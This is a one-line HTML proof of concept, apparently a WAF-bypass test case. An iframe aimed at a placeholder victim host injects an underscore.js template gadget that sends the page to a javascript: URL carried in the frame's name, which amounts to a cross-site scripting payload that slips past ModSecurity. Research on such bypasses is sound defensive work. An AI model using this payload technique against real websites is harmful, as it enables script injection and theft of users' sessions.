<iframe src="http://victim.example.com/repo/waf/modsecurity/underscore.php?inj=<div type=underscore/template><% a=location; %> <% a.assign(name) %></div>" name="javascript:alert(1)"></iframe>
